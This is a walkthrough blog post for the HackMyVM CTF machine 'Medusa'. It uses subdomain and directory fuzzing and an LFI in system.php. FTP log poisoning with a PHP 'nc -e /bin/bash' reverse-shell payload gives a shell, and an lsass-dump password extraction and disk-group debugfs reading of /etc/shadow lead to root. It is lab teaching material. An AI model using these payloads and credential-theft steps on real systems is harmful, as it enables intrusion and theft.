Medusa is a lengthy machine from the platform HackMyVM despite being easy. The machine’s author is noname and I must pay respect to him for putting effort into this machine. The VM includes many fuzzing techniques for subdomain enumeration and directory enumeration. Likewise, it also asks us to brute-force hashes to get passwords. “Medusa from HackMyVM Writeup – Walkthrough”
Find the IP address
Firstly, we have to perform an ARP scan to identify the IP address of the target machine.
❯ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.233
Here, the IP address of my local machine is the one ending with 4, whereas that of the target ends with 233.
Scan services on the target
Next, we have to scan the open ports to identify services that we can interact with within the network.
❯ nmap -sC -sV -p- -oN nmap.log 10.0.0.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 17:51 +0545
Nmap scan report for 10.0.0.233
Host is up (0.00098s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 70d4efc9276f8d957aa5511951fe14dc (RSA)
| 256 3f8d243fd25ecae6c9af372347bf1d28 (ECDSA)
|_ 256 0c337e4e953db02d6a5eca39910d1308 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kerne
There are many things that we can guess from the Nmap scan. Firstly, if we didn’t have the SSH port open, we would be sure that we require to spawn a reverse shell. However, this is not the case in Medusa. Here, one possibility is that we can identify one of the usernames or the passwords, then brute-force the other. If we identify a username, there unlocks another path to find the private key. Likewise, a similar thing applies to the FTP server in the case of username and password.
On the other hand, we don’t have anonymous access to the FTP server. However, if we have access to LFI, we can check for log poisoning on both the FTP and SSH servers.
Check the web server
Whatever the case is, we need to first check the web server. At a first glance, it looks like the default apache page. However, there is a message with the word “Kraken” on the page that we can utilize later on the machine.
So, it’s pretty clear that we have to utilize gobuster to perform directory busting.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.233 -x php,txt,html -o medium.log
/.php (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10674]
/.html (Status: 403) [Size: 275]
/manual (Status: 301) [Size: 309] [--> http://10.0.0.233/manual/]
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
/server-status (Status: 403) [Size: 275]
/hades (Status: 301) [Size: 308] [--> http://10.0.0.233/hades/]
From the scan, we get a new path /haded to look into. Like above, the path doesn’t have much information in it. So, we have to repeat the above process.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.233/hades -x php,txt,html -o medium-hades.log
❯ cat medium-hades.log
/.php (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/index.php (Status: 200) [Size: 0]
/door.php (Status: 200) [Size: 555]
/.html (Status: 403) [Size: 275]
/.php (Status: 403) [Size: 275]
Now, at this stage, we can connect our first hint about the word “Kraken” that said, “However check Kraken open the door”. Furthermore, the path takes an input that accepts a magic word. Here, we can guess “Kraken” is the magic word. However, you can also do fuzzing to identify the word.
Once we input the word “Kraken”, we see a domain name “medusa.hmv“.
Subdomain enumeration
Since the author wanted us to identify a domain, it’s mostly three of the cases. The first one is that there might be a different application running on the domain, the second one is that there might be different subdomains to look for and the last possibility is that it is a rabbit hole. However, since this is an easy machine and there aren’t any other possibilities, the first two options are more viable.
The main domain doesn’t have a different website, so we have to perform subdomain enumeration.
❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.medusa.hmv" -u 'http://10.0.0.233' -fs 10674
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.0.233
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.medusa.hmv
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 10674
________________________________________________
dev [Status: 200, Size: 1973, Words: 374, Lines: 26, Duration: 1423ms]
:: Progress: [114437/114437] :: Job [1/1] :: 667 req/sec :: Duration: [0:03:05] :: Errors: 0 ::
Here, we have a domain dev.medusa.hmv. To access it from a web browser, we have to add an entry to our /etc/hosts.
Directory busting on the subdomain
Like I said at the beginning of this post, we have to perform a lot of fuzzing on this VM. So, I performed a gobuster scan once again.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dev.medusa.hmv -x php,txt,html -o medium-dev.log
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 1973]
/files (Status: 301) [Size: 316] [--> http://dev.medusa.hmv/files/]
/assets (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/assets/]
/css (Status: 301) [Size: 314] [--> http://dev.medusa.hmv/css/]
/manual (Status: 301) [Size: 317] [--> http://dev.medusa.hmv/manual/]
/robots.txt (Status: 200) [Size: 489]
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Again, we have to perform gobuster scanning on /files.
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dev.medusa.hmv/files -x php,txt,html -o medium-dev-files.log
/.php (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 0]
/.html (Status: 403) [Size: 279]
/system.php (Status: 200) [Size: 0]
/readme.txt (Status: 200) [Size: 144]
Finally, we reach a script where we can expect a possibility of Local File Inclusion (LFI).
Local file inclusion
The script contains the LFI vulnerability that we can confirm by fuzzing.
❯ ffuf -r -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd' -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
view [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 26ms]
Once we identified the parameter that we can use to include files, we can check for various critical files. Here, we have wordlists for this purpose, but we can check for the known locations like the scripts, .bashrc, .profile, .bash_history, log files, etc. As we guess before, we can check for the /var/log/vsftpd.log file for the possibility of log poisoning. Luckily, it’s true. So, I listened on the netcat for a reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Then, we have to try logging in with PHP scripts in the FTP server. When we do this, the username is logged into the log file and if we include the log file using the webserver, it gets executed.
❯ lftp -u '<?php system("nc -e /bin/bash 10.0.0.4 9001"); ?>', 10.0.0.233
lftp <?php system("nc -e /bin/bash 10.0.0.4 9001"); ?>@10.0.0.233:~> ls
ls: Login failed: 530 Login incorrect.
Lastly, we have to execute the script as follows.
❯ curl http://dev.medusa.hmv/files/system.php\?view\=/var/log/vsftpd.log
This leads us to the reverse shell.
❯ nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.233.
Ncat: Connection from 10.0.0.233:46540.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@medusa:/var/www/dev/files$ ^Z
[1] + 2705 suspended nc -nlvp 9001
❯ stty raw -echo;fg
[1] + 2705 continued nc -nlvp 9001
www-data@medusa:/var/www/dev/files$ export TERM=xterm
www-data@medusa:/var/www/dev/files$ stty rows 28 cols 169
www-data@medusa:/var/www/dev/files$
Reference: Upgrade to an intelligent reverse shell
Get the user shell
When I was looking into the files, I found a different-looking directory in the root path. Furthermore, we can also explore the same thing while searching for writable files.
www-data@medusa:/$ find / -writable ! -path '/proc*' ! -path '/dev*' ! -path '/sys*' ! -path '/run*' 2>/dev/null
/usr/lib/systemd/system/cryptdisks.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/lib/systemd/system/sudo.service
/usr/lib/systemd/system/rc.service
/usr/lib/systemd/system/rcS.service
/var/lib/php/sessions
/var/cache/apache2/mod_cache_disk
/var/tmp
/var/log/vsftpd.log
/var/lock
/tmp
/.../old_files.zip
Of course, the file was encrypted, so I have to download the file into my local machine. Then, I performed bruteforcing to extract the password of the zip file.
❯ zip2john old_files.zip > hash
❯ john hash --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
No password hashes left to crack (see FAQ)
❯ john hash --show
old_files.zip/lsass.DMP:<password_redacted>:lsass.DMP:old_files.zip:old_files.zip
1 password hash cracked, 0 left
From the bruteforcing, we can see the filename of the content of the archive and that looked like a lsass dump file. Anyways, we have to extract the file first. Since it used PK 5.1, we couldn’t unzip using unzip.
❯ 7z x old_files.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 12387024 bytes (12 MiB)
Extracting archive: old_files.zip
--
Path = old_files.zip
Type = zip
Physical Size = 12387024
Enter password (will not be echoed):
Everything is Ok
Size: 34804383
Compressed: 12387024
The dump file might contain passwords that we can extract using pypykatz on Linux.
❯ pypykatz lsa minidump lsass.DMP
#redacted for brevity
== WDIGEST [ce835]==
username spectre
domainname Medusa-PC
password <password of spectre>
password (hex) <Hex of password of spectre>
Here, we find the password of the user spectre that is also on the target VM. Using the password, we can log into the SSH server.
❯ ssh [email protected]
[email protected]'s password:
Linux medusa 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 21 14:57:30 2023 from 192.168.1.13
spectre@medusa:~$
Root shell
The root shell part on this machine is pretty easy. As usual, I check the groups of users. Here, the user belonged to the group disk.
spectre@medusa:~$ id
uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
If the user belongs to the group disk, he can read sensitive files. We can utilize this exploit to read the hash from the /etc/shadow file. But first, we have to identify the disk’s mount path.
spectre@medusa:~$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 471M 0 471M 0% /dev
tmpfs 98M 504K 98M 1% /run
/dev/sda1 6.9G 1.7G 4.9G 26% /
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 98M 0 98M 0% /run/user/1000
The root of the filesystem is mounted on /dev/sda1. Now, we can use debugfs to access the disk.
spectre@medusa:~$ /sbin/debugfs -w /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs: cat /etc/shadow
However, for the purpose of the CTF machine, we can also grab the root flag.
Once we grab the shadow hash of the user root, we can bruteforce it using john the ripper.
❯ john root --wordlist=/home/kali/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<rootpass> (root)
1g 0:00:00:47 DONE (2023-02-02 18:54) 0.02096g/s 78.50p/s 78.50c/s 78.50C/s 19871987..street
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Once we get the password, we can log in as the user root.
spectre@medusa:~$ su -
Password:
root@medusa:~# md5sum /etc/shadow; echo nepcodex.com
d5f4025789c1a2a2f48e97697f4fda78 /etc/shadow
nepcodex.com
root@medusa:~#
In this way, we can perform boot to root on the machine Medusa.
The notes for this machine are available from this link.
Also read: Check my walkthrough of an interesting machine “Double Trouble” from HackMyVM.